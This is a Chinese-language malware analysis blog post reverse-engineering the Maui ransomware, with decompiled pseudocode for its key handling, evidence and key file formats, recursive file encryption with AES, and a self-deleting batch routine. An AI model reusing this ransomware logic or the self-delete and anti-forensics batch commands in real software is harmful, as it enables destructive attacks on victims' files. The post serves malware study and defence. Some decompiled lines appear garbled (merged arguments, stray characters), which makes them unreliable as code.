Maui 恶意软件分析

逆向病毒分析 2年前 (2022) admin
581 0 0

像 Conti、LockBit、BlackCat 这些 RaaS(勒索软件即服务)的经济系统已经很好识别了,但是在这些系统之外,有一些比较小众。

Maui 在 2022 年 6 月发现,手动操作进行文件加密等。

初步分析

主函数

if ( argc_1 < 2 )
  {
    wprintf(L"Usage: maui [-ptx] [PATH]n");
    wprintf(L"Options:n");
    wprintf(L"-p dir:tSet Log Directory (Default: Current Directory)n");
    wprintf(L"-t n:ttSet Thread Count (Default: 1)n");
    wprintf(L"-x:ttSelf Melt (Default: No)n");
    exit(0);
  }
  v2 = 1;
  v11 = 0;
  v12 = 0;
  log_path = 0;
  thread_num = 1;
  do
  {
    if ( !wcscmp((const unsigned __int16 *)argv_1[v2], L"-p") )
    {
      v3 = argv_1[++v2];
      v11 = 1;
      log_path = (const wchar_t *)v3;
    }
    else if ( !wcscmp((const unsigned __int16 *)argv_1[v2], L"-t") )
    {
      v4 = (const wchar_t *)argv_1[++v2];
      swscanf(v4, L"%d", &thread_num);
    }
    else if ( !wcscmp((const unsigned __int16 *)argv_1[v2], L"-x") )
    {
      v12 = 1;
    }
    ++v2;
  }

用户体验很好,敏感肌也可以用,首先提示了一些参数,并且解析这些参数

如果设置了日志路径,则解析一下日志路径,并去掉结尾不必要的

__int16 *__usercall sub_401F20@<eax>(const wchar_t *a1@<eax>)
{
  __int16 *result; // eax
  signed int i; // esi
  bool v3; // zf
  __int16 v4; // cx

  if ( !a1 )
    return (__int16 *)-1;
  result = (__int16 *)_wcsdup(a1);
  dword_4B9A70 = result;
  for ( i = wcslen((const unsigned __int16 *)result) - 1; i >= 0; dword_4B9A70[i + 1] = 0 )
  {
    v3 = iswspace(result[i]) == 0;
    result = dword_4B9A70;
    if ( v3 )
    {
      v4 = dword_4B9A70[i];
      if ( v4 != '\' && v4 != '/' )
        break;
    }
    --i;
  }
  return result;
}

密钥写操作

_DWORD *__thiscall sub_401670(_DWORD *this)
{
  FILE *v2; // eax
  FILE *v3; // ebx
  void **v4; // edi
  void *v5; // eax
  int Buffer[2]; // [esp+8h] [ebp-410h] BYREF
  size_t ElementSize; // [esp+10h] [ebp-408h]
  WCHAR Filename[512]; // [esp+14h] [ebp-404h] BYREF

  sub_403CC0();
  *this = &CMauiKeyManager::`vftable';
  GetModuleFileNameW(0, Filename, 0x200u);
  v2 = _wfopen(Filename, L"rb");
  v3 = v2;
  if ( !v2 )
  {
    wprintf(L"Unable to read public key info.n");
    exit(-1);
  }
  fseek(v2, -122);
  fread(Buffer, 0xCu, 1u, v3);
  if ( Buffer[0] != 1347764811 )
  {
    wprintf(L"Unable to read public key info.nPlease append it by <Godhead> using -maui option.n");
    goto LABEL_5;
  }
  if ( Buffer[1] != 1 )
  {
    wprintf(L"Incompatible public key version.nPlease overwrite it by <Godhead> using -maui option.n");
LABEL_5:
    fclose(v3);
    exit(-1);
  }
  this[10] = 0;
  v4 = (void **)malloc(0x10u);
  v5 = malloc(0x2800u);
  v4[1] = 0;
  *v4 = v5;
  v4[3] = 0;
  v4[2] = (void *)10240;
  v4[1] = (void *)ElementSize;
  fseek(v3, -12 - ElementSize, 2);
  fread(*v4, ElementSize, 1u, v3);
  fclose(v3);
  this[10] = sub_404460(v4, 0);
  free(*v4);
  free(v4);
  return this;
}

公钥信息保存在可执行文件的最后 12 字节中,并且有特定的 magic number PUBK,并有版本指示

如果 magic number 和版本都正确,则根据长度读取公钥,并 Load

key和evd操作

这里判断是否有 key

Maui 恶意软件分析

char __userpurge sub_403E80@<al>(const WCHAR *a1@<eax>, char *a2)
{
  //。。。

  v25 = 0;
  v27 = 0;
  v26 = 0;
  if ( !GetFileAttributesExW(a1, GetFileExInfoStandard, FileInformation) )
    return 0;
  if ( (FileInformation[0] & 0x10) != 0 )
    return 0;
  file_size = v33 + ((unsigned __int64)v32 << 32);
  file_handle1 = _wfopen(a1, L"rb");
  file_handle2 = file_handle1;
  if ( !file_handle1 )
    return 0;
  if ( file_size > 0x100000 )
  {
    file_handle3 = file_handle1;
LABEL_6:
    fclose(file_handle3);
    return 0;
  }
  file_content = (char *)malloc(file_size);
  v8 = file_content;
  file_handle3 = file_handle2;
  if ( !file_content )
    goto LABEL_6;
  if ( fread(file_content, 1u, file_size, file_handle2) != file_size )
    goto LABEL_33;
  fclose(file_handle2);
  v9 = 0;
  for ( i = 0; i < file_size; ++i )
  {
    v8[i] ^= a2[v9 + 24];
    if ( (unsigned int)++v9 >= 0x10 )
      v9 = 0;
  }
  if ( *(_DWORD *)v8 != 'DGOD' || *((_DWORD *)v8 + 1) != 1 )
    goto LABEL_33;
  v11 = *((_DWORD *)v8 + 2);
  if ( v11 == 4 )
  {
    v12 = *((int *)v8 + 3);
    v29 = *((_DWORD *)v8 + 3);
    v13 = 16;
    goto LABEL_19;
  }
  if ( v11 != 8 )
  {
LABEL_33:
    free(v8);
    return 0;
  }
  HIDWORD(v12) = *((_DWORD *)v8 + 4);
  v29 = *((_DWORD *)v8 + 3);
  v13 = 20;
LABEL_19:
  v14 = *(_DWORD *)&v8[v13];
  v30 = HIDWORD(v12);
  if ( v14 > file_size - v13 )
    goto LABEL_26;
  v15 = v13 + 4;
  if ( v14 > 0 )
  {
    v16 = sub_404260();
    v22 = (void *)*v16;
    v28 = v16;
    v16[1] = v14;
    v16[3] = 0;
    memcpy(v22, &v8[v15], v14);
    v27 = sub_404460(v28, 0);
  }
  v17 = v14 + v15;
  v18 = *(_DWORD *)&v8[v17];
  if ( v18 > file_size - v17 )
  {
LABEL_26:
    v20 = 0;
    v21 = v27;
  }
  else
  {
    if ( v18 > 0 )
    {
      v19 = (void **)sub_404260();
      v23 = *v19;
      v19[1] = (void *)v18;
      v19[3] = 0;
      memcpy(v23, &v8[v17 + 4], v18);
      v26 = sub_404460(v19, 1);
    }
    v20 = v26;
    v21 = v27;
    v25 = 1;
    *((_DWORD *)a2 + 4) = v29;
    *((_DWORD *)a2 + 5) = v30;
    *((_DWORD *)a2 + 2) = v26;
    *((_DWORD *)a2 + 3) = v27;
  }
  free(v8);
  if ( !v25 )
  {
    if ( v20 )
      sub_404440();
    if ( v21 )
      sub_404440();
  }
  return v25;
}

如果没有,就生成 key 和 evd 文件。另外 key 是 DOGD 开头的

这里函数生成 evd 文件和 key 文件

Maui 恶意软件分析

生成 evd 文件的操作如下
char __thiscall create_evd_file(_DWORD *this)
{
  //...

  v2 = this + 2;
  v23 = this;
  v24 = (void ***)(this + 2);
  result = sub_4045E0(this + 2this + 31024);
  if ( result )
  {
    v4 = _time64(0);
    this[4] = v4;
    LODWORD(v4) = *v2;
    this[5] = HIDWORD(v4);
    v5 = (void **)sub_4044F0((_DWORD *)v4);
    v22 = v5;
    if ( !v5 )
    {
      wprintf(L"Unable to get private keyn");
      exit(0);
    }
    memset(FileName, 01026);
    sub_401F90();
    v6 = (char *)&v24 + 2;
    do
    {
      v7 = *((_WORD *)v6 + 1);
      v6 += 2;
    }
    while ( v7 );
    *(_DWORD *)v6 = 92;
    v8 = (char *)&v24 + 2;
    do
    {
      v9 = *((_WORD *)v8 + 1);
      v8 += 2;
    }
    while ( v9 );
    *(_DWORD *)v8 = 0x61006D;
    *((_DWORD *)v8 + 1) = 0x690075;
    *((_DWORD *)v8 + 2) = 0x65002E;
    *((_DWORD *)v8 + 3) = 0x640076;
    *((_WORD *)v8 + 8) = 0;
    v10 = _wfopen(FileName, L"wb");
    v11 = v10;
    if ( !v10 )
    {
      wprintf(L"Unable to create evidence filen");
      exit(0);
    }
    Buffer[0] = 1163282756;
    Buffer[1] = 1;
    v21 = 16;
    fwrite(Buffer, 1u0xCu, v10);
    fwrite(this + 61u0x10u, v11);
    v12 = malloc(0x80u);
    v13 = (int)v5[1];
    v14 = (char *)*v5;
    Block = v12;
    if ( v13 > 0 )
    {
      do
      {
        v15 = v13;
        if ( v13 >= 116 )
          v15 = 116;
        v16 = sub_404560(Block, v23[10]);
        if ( v16 < 0 )
        {
          wprintf(L"Unable to encrypt private keyn");
          free(Block);
          exit(0);
        }
        v21 += v16;
        v14 += v15;
        fwrite(Block, 1u, v16, v11);
        v13 -= v15;
      }
      while ( v13 > 0 );
      v5 = v22;
    }
    free(Block);
    fseek(v11, 00);
    fwrite(Buffer, 1u0xCu, v11);
    fclose(v11);
    free(*v5);
    free(v5);
    v17 = v24;
    v18 = *v24;
    if ( *v24 )
    {
      if ( *v18 )
        sub_41D800(*v18);
      free(v18);
    }
    *v17 = 0;
    return 1;
  }
  return result;
}

evd 文件以 DIVE 开头,并且保存了加密文件的相关信息,例如本次加密时使用私钥是通过硬编码在软件中的公钥加密保存的。

生成 key 的操作如下

char __stdcall sub_404140(_DWORD *a1, FILE *Stream)
{
  //...

  v2 = malloc(0x100000u);
  file_content = v2;
  if ( v2 )
  {
    v5 = a1;
    *v2 = 'DGOD';
    v2[1] = 1;
    v6 = a1[4];
    v7 = a1[5];
    file_content[2] = 8;
    file_content[3] = v6;
    file_content[4] = v7;
    v8 = (_DWORD *)a1[3];
    if ( v8 )
    {
      v9 = (const void **)sub_4044F0(v8);
      v10 = (size_t)v9[1];
      v20 = *v9;
      file_content[5] = v10;
      memcpy(file_content + 6, v20, v10);
      v11 = v10 + 24;
      free((void *)*v9);
      free(v9);
    }
    else
    {
      file_content[5] = 0;
      v11 = 24;
    }
    v12 = (_DWORD *)a1[2];
    if ( v12 )
    {
      v13 = (const void **)sub_4044F0(v12);
      v14 = (size_t)v13[1];
      v15 = *v13;
      *(_DWORD *)((char *)file_content + v11) = v14;
      v16 = v11 + 4;
      memcpy((char *)file_content + v16, v15, v14);
      file_size = v14 + v16;
      free((void *)*v13);
      free(v13);
      v5 = a1;
    }
    else
    {
      *(_DWORD *)((char *)file_content + v11) = 0;
      file_size = v11 + 4;
    }
    v18 = 0;
    for ( i = 0; i < file_size; ++i )
    {
      *((_BYTE *)file_content + i) ^= *((_BYTE *)v5 + v18 + 24);
      if ( (unsigned int)++v18 >= 0x10 )
        v18 = 0;
    }
    fwrite(file_content, 1u, file_size, Stream);
    fclose(Stream);
    free(file_content);
    return 1;
  }
  else
  {
    fclose(Stream);
    return 0;
  }
}

key 文件以 DOGD 开头,并且使用一个 16 字节的 key XOR 加密,XOR key 每次加载是不变的,所以很方便重用。参考资料说是根据\.PhysicalDrive0的有关信息生成

文件加密

int __stdcall sub_402500(int a1, int a2, int Count)
{
  size_t v3; // eax
  _DWORD *v4; // ebx
  int v5; // esi
  _BYTE *v6; // eax
  void *v7; // eax
  _DWORD *v8; // eax
  _BYTE *v9; // esi
  signed int i; // [esp+10h] [ebp-8h]
  _DWORD *Block; // [esp+14h] [ebp-4h]

  *(_DWORD *)(a1 + 8) = 0;
  *(_DWORD *)(a1 + 12) = 0;
  *(_DWORD *)(a1 + 16) = 0;
  *(_DWORD *)(a1 + 20) = 0;
  *(_DWORD *)(a1 + 24) = 0;
  *(_DWORD *)(a1 + 28) = 0;
  *(_DWORD *)(a1 + 32) = 0;
  *(_DWORD *)(a1 + 36) = 0;
  if ( a2 && Count >= 1 && (v3 = sub_4030D0(a2)) != 0 )
  {
    *(_DWORD *)a1 = calloc(v3, 0x10u);
    sub_4030D0(a2);
    sub_403700();
    sub_401AC0(a2);
    *(_BYTE *)(a1 + 1076) = 1;
    *(_DWORD *)(a1 + 1068) = Count;
    *(_DWORD *)(a1 + 1072) = calloc(Count, 4u);
    for ( i = 0; i < Count; ++i )
    {
      v4 = calloc(1u0xCu);
      *v4 = a1;
      v4[1] = i;
      v5 = *(_DWORD *)(*(_DWORD *)(a1 + 40) + 12);
      if ( v5 )
      {
        v7 = sub_41CF40();
        v8 = sub_41CEB0((int)v7);
        Block = v8;
        if ( *(_BYTE *)(v5 + 4) )
          sub_41D920((int)v8, *(_DWORD *)v5);
        else
          sub_41D960(v8, *(_DWORD *)v5);
        v6 = Block;
        if ( Block )
        {
          v6 = (_BYTE *)sub_41D980(Block, 0);
          v9 = v6;
          if ( v6 )
          {
            v6 = calloc(1u8u);
            *(_DWORD *)v6 = v9;
            v6[4] = 0;
          }
        }
      }
      else
      {
        Block = 0;
        v6 = 0;
      }
      v4[2] = v6;
      if ( Block )
        sub_41C8C0(Block);
      *(_DWORD *)(*(_DWORD *)(a1 + 1072) + 4 * i) = CreateThread(00, StartAddress, v4, 00);
    }
    return 0;
  }
  else
  {
    sub_4037A0();
    return -1;
  }
}
这里根据主函数的参数推断这是加密函数
sub_402500((int)v9, (int)argv_1[argc_1 - 1], thread_num);
递归获取加密文件列表
int __thiscall sub_4031F0(int this, WCHAR *a2, const unsigned __int16 *a3, char *a4, int a5)
{
  //...

  v5 = a3;
  v44 = 0;
  memset(FileName, 0sizeof(FileName));
  v7 = a2;
  do
  {
    v8 = *v7;
    *(WCHAR *)((char *)v7 + (char *)FileName - (char *)a2) = *v7;
    ++v7;
  }
  while ( v8 );
  if ( wcslen(a3) )
  {
    v9 = &FindData.name[261];
    do
    {
      v10 = v9[1];
      ++v9;
    }
    while ( v10 );
    v11 = (char *)a3;
    *(_DWORD *)v9 = 92;
    do
    {
      v12 = *(_WORD *)v11;
      v11 += 2;
    }
    while ( v12 );
    v13 = v11 - (char *)a3;
    v14 = &FindData.name[261];
    do
    {
      v15 = v14[1];
      ++v14;
    }
    while ( v15 );
    qmemcpy(v14, a3, v13);
  }
  if ( wcslen((const unsigned __int16 *)a4) )
  {
    v16 = &FindData.name[261];
    do
    {
      v17 = v16[1];
      ++v16;
    }
    while ( v17 );
    v18 = a4;
    *(_DWORD *)v16 = 92;
    do
    {
      v19 = *(_WORD *)v18;
      v18 += 2;
    }
    while ( v19 );
    v20 = v18 - a4;
    v21 = &FindData.name[261];
    do
    {
      v22 = v21[1];
      ++v21;
    }
    while ( v22 );
    qmemcpy(v21, a4, v20);
    v5 = a3;
  }
  if ( !GetFileAttributesExW(FileName, GetFileExInfoStandard, FileInformation) )
    return 0;
  if ( (FileInformation[0] & 0x10) != 0 )
  {
    memset(v51, 01024);
    v24 = 0;
    do
    {
      v25 = FileName[v24];
      v51[v24++] = v25;
    }
    while ( v25 );
    v26 = &v50[511];
    do
    {
      v27 = v26[1];
      ++v26;
    }
    while ( v27 );
    *(_DWORD *)v26 = 2752604;
    v26[2] = 0;
    v28 = _wfindfirst64i32(v51, &FindData);
    if ( v28 == -1 )
      return 0;
    do
    {
      if ( wcscmp(FindData.name, (const unsigned __int16 *)".") && wcscmp(FindData.name, L"..") )
      {
        memset(v50, 0sizeof(v50));
        v29 = (unsigned __int16 *)a4;
        do
        {
          v30 = *v29;
          *(unsigned __int16 *)((char *)v29 + (char *)v50 - a4) = *v29;
          ++v29;
        }
        while ( v30 );
        if ( wcslen(v50) )
        {
          v31 = &FileName[511];
          do
          {
            v32 = v31[1];
            ++v31;
          }
          while ( v32 );
          *(_DWORD *)v31 = 92;
        }
        name = FindData.name;
        while ( *name++ )
          ;
        v35 = (char *)name - (char *)FindData.name;
        v36 = &FileName[511];
        do
        {
          v37 = v36[1];
          ++v36;
        }
        while ( v37 );
        qmemcpy(v36, FindData.name, v35);
        v44 += sub_4031F0(a2, a3, v50, a5);
      }
    }
    while ( !_wfindnext64i32(v28, &FindData) );
    _findclose(v28);
    return v44;
  }
  else
  {
    if ( a5 )
    {
      *(_DWORD *)(16 * *(_DWORD *)(this + 8) + a5) = calloc(wcslen((const unsigned __int16 *)a4) + wcslen(v5) + 22u);
      v38 = a3;
      v39 = *(_WORD **)(16 * *(_DWORD *)(this + 8) + a5);
      do
      {
        v40 = *v38;
        *v39++ = *v38++;
      }
      while ( v40 );
      if ( wcslen((const unsigned __int16 *)a4) )
      {
        v41 = *(_DWORD *)(16 * *(_DWORD *)(this + 8) + a5) - 2;
        do
        {
          v42 = *(_WORD *)(v41 + 2);
          v41 += 2;
        }
        while ( v42 );
        *(_DWORD *)v41 = 92;
        wcscat(*(unsigned __int16 **)(16 * *(_DWORD *)(this + 8) + a5), (const unsigned __int16 *)a4);
      }
      v43 = v47 + ((unsigned __int64)v46 << 32);
      *(_QWORD *)(16 * *(_DWORD *)(this + 8) + a5 + 8) = v43;
      *(_QWORD *)(this + 16) += v43;
      ++*(_QWORD *)(this + 8);
    }
    return 1;
  }
}

获取文件属性确定是否加密

int __usercall sub_401BB0@<eax>(char *a1@<esi>, WCHAR *a2, char a3)
{
  //...

  v3 = a2;
  *(_WORD *)a1 = 0;
  do
  {
    v4 = *v3;
    *(WCHAR *)((char *)v3 + (char *)FileName - (char *)a2) = *v3;
    ++v3;
  }
  while ( v4 );
  memset(FileInformation, 0sizeof(FileInformation));
  v20 = 0;
  if ( !GetFileAttributesExW(FileName, GetFileExInfoStandard, FileInformation) )
    return -1;
  v6 = (FileInformation[0] & 0x10) == 0;
  v18 = 0;
  v7 = wcslen(FileName);
  if ( !v7 || v7 > 1 && FileName[v7 - 1] == ':' )
    return 0;
  if ( v7 > 2 && FileName[v7 - 2] == ':' )
  {
    v8 = FileName[v7 - 1];
    if ( v8 == 92 || v8 == 47 )
      return 0;
  }
  if ( v7 == 1 )
  {
    if ( FileName[0] == '\' || FileName[0] == '/' )
      return -1;
    v9 = FileName;
    do
    {
      v10 = *v9;
      *(WCHAR *)((char *)v9 + a1 - (char *)FileName) = *v9;
      ++v9;
    }
    while ( v10 );
    return 0;
  }
  v11 = v7 - 2;
  if ( v7 - 2 < 0 )
  {
LABEL_28:
    v13 = FileName;
    do
    {
      v14 = *v13;
      *(WCHAR *)((char *)v13 + a1 - (char *)FileName) = *v13;
      ++v13;
    }
    while ( v14 );
    return 0;
  }
  while ( 1 )
  {
    if ( v6 && !a3 && FileName[v11] == 46 && !v18 )
    {
      FileName[v11] = 0;
      v18 = 1;
    }
    v12 = FileName[v11];
    if ( v12 == 92 || v12 == 47 )
      break;
    if ( --v11 < 0 )
      goto LABEL_28;
  }
  v15 = &FileName[v11 + 1];
  v16 = a1 - (char *)v15;
  do
  {
    v17 = *v15;
    *(WCHAR *)((char *)v15 + v16) = *v15;
    ++v15;
  }
  while ( v17 );
  return 0;
}

加密后的文件文件头为TPRC

*v67 = (const void *)'CRPT';
        v67[1] = (const void *)1;
        v67[2] = *(const void **)v11;
        v67[3] = *(const void **)(v11 + 4);
        v67[4] = *(const void **)(v11 + 8);
        v67[5] = *(const void **)(v11 + 12);
        fwrite(v67, 1u8u, v59);

如果文件已加密则删除临时文件,否则使用 AES 32 字节密钥加密

v38 = _wfopen(FileName, L"rb");
              v39 = v38;
              Stream = v38;
              if ( v38 )
              {
                if ( v58 >= 8 && (fread(v62, 1u8u, v38), fseek(v39, 00), *v62 == 'CRPT') )
                {
                  v43 = (volatile LONGLONG *)(v57 + 32);
                  do
                  {
                    v44 = *(_DWORD *)v43;
                    v45 = *(_DWORD *)(v57 + 36);
                  }
                  while ( InterlockedCompareExchange64(v43, v58 + *v43, *v43) != __PAIR64__(v45, v44) );
                  fclose(Stream);
                  fclose(file_handle);
                  _wunlink(TempFileName);
                }
                else
                {
                  ElementCount = v58;
                  do
                  {
                    if ( !*(_BYTE *)(v57 + 1076) )
                      break;
                    if ( ElementCount >= 4096 )
                      v46 = 4096;
                    else
                      v46 = ElementCount;
                    fread(v62 + 81u, v46, Stream);
                    v47 = v46 + 32;
                    v48 = (v46 + 32) % 32;
                    if ( v48 )
                      v47 += 32 - v48;
                    sub_404390(v64);
                    fwrite(v64, 1u, v47, file_handle);
                    v68 = v46;
                    v66 += v46;
                    v49 = (volatile LONGLONG *)(v57 + 32);
                    do
                    {
                      v50 = *(_DWORD *)v49;
                      HIDWORD(v56) = *(_DWORD *)(v57 + 36);
                      v51 = HIDWORD(v56);
                      LODWORD(v56) = *(_DWORD *)v49;
                    }
                    while ( InterlockedCompareExchange64(v49, *v49 + v68, v56) != __PAIR64__(v51, v50) );
                    ElementCount -= v68;
                    if ( *(_DWORD *)(v57 + 1080) )
                      sub_4038B0(*(_DWORD *)(v57 + 32), *(_DWORD *)(v57 + 36), v66, HIDWORD(v66), v58, HIDWORD(v58));
                  }
                  while ( ElementCount > 0 );
                  fclose(file_handle);
                  fclose(Stream);
                  if ( sub_403B40(TempFileName, FileName) == -1 && sub_403A90(TempFileName) == -1 )
                    sub_403820(6);
                }
                goto LABEL_71;
              }
              sub_403820(2);
              v40 = (volatile LONGLONG *)(v57 + 32);
              do
              {
                v41 = *(_DWORD *)v40;
                v42 = *(_DWORD *)(v57 + 36);
              }
              while ( InterlockedCompareExchange64(v40, v58 + *v40, *v40) != __PAIR64__(v42, v41) );
            }
            fclose(file_handle);
            _wunlink(TempFileName);
          }

加密完成后从临时文件中读取加密后的内容,写入原文件

 Offset = 0i64;
  v7 = malloc(0x1000u);
  v8 = v7;
  if ( v7 )
  {
    memset(v7, 00x1000u);
    if ( v4 >= 0 && (v4 > 0 || v5) )
    {
      do
      {
        v9 = fread(v8, 1u0x1000u, v2);
        if ( v9 <= 0 )
          break;
        v10 = fwrite(v8, 1u, v9, FileNamea);
        if ( v10 <= 0 )
          break;
        Offset += v10;
        if ( v10 < v9 )
          fseek(v2, Offset, 0);
      }
      while ( Offset < v12 );
    }
    free(v8);
    fclose(v2);
    fclose(FileNamea);
    return _wunlink(lpFileName);
  }

这种方式加密的文件无法通过磁盘恢复工具恢复

删除自身

如果设置了对应选项,则在加密完成后删除自身

if ( v12 )
    sub_402200();
int sub_402200()
{
  __int16 *v0; // eax
  __int16 v1; // cx
  FILE *v2; // esi
  __int16 v4; // [esp-2h] [ebp-C2Eh] BYREF
  WCHAR Buffer[512]; // [esp+0h] [ebp-C2Ch] BYREF
  WCHAR Filename[512]; // [esp+400h] [ebp-82Ch] BYREF
  wchar_t Command[532]; // [esp+800h] [ebp-42Ch] BYREF

  memset(Buffer, 0sizeof(Buffer));
  GetTempPathW(0x200u, Buffer);
  v0 = &v4;
  do
  {
    v1 = v0[1];
    ++v0;
  }
  while ( v1 );
  *(_DWORD *)v0 = 6750308;
  *((_DWORD *)v0 + 1) = 6553711;
  *((_DWORD *)v0 + 2) = 6422574;
  *((_DWORD *)v0 + 3) = 7602273;
  v0[8] = 0;
  v2 = _wfopen(Buffer, L"wt");
  if ( v2 )
  {
    GetModuleFileNameW(0, Filename, 0x200u);
    fputs("@ECHO OFFn", v2);
    fputs(":REPEATn", v2);
    fputs("ping localhost -n 1n", v2);
    fwprintf(v2, L"TASKKILL /IM "%s"n", Filename);
    fwprintf(v2, L"del /f /q "%s"n", Filename);
    fwprintf(v2, L"if exist "%s" goto REPEATn", Filename);
    fputs("(goto) 2>nul & del "%~f0"", v2);
    fclose(v2);
  }3
  _swprintf(Command, L"start /b "" cmd /c "%s"", Buffer);
  return _wsystem(Command);}

总结

公钥是附在文件最后的,所以要想解密就必须从公钥中得到私钥。如果可以大素数分解、应用某些 RSA 攻击当然是可以解密,否则无法解密。另外这个恶意软件很可能是某次攻击中的一部分,由 Loader 下发并执行。可以精确加密某个文件,并且送回凭证。

参考资料中给了一个解析公钥的 python PoC

参考

[1] https://stairwell.com/wp-content/uploads/2022/07/Stairwell-Threat-Report-Maui-Ransomware.pdf

end


招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系[email protected]



Maui 恶意软件分析

原文始发于微信公众号(ChaMd5安全团队):Maui 恶意软件分析

版权声明:admin 发表于 2022年8月25日 上午8:24。
转载请注明:Maui 恶意软件分析 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...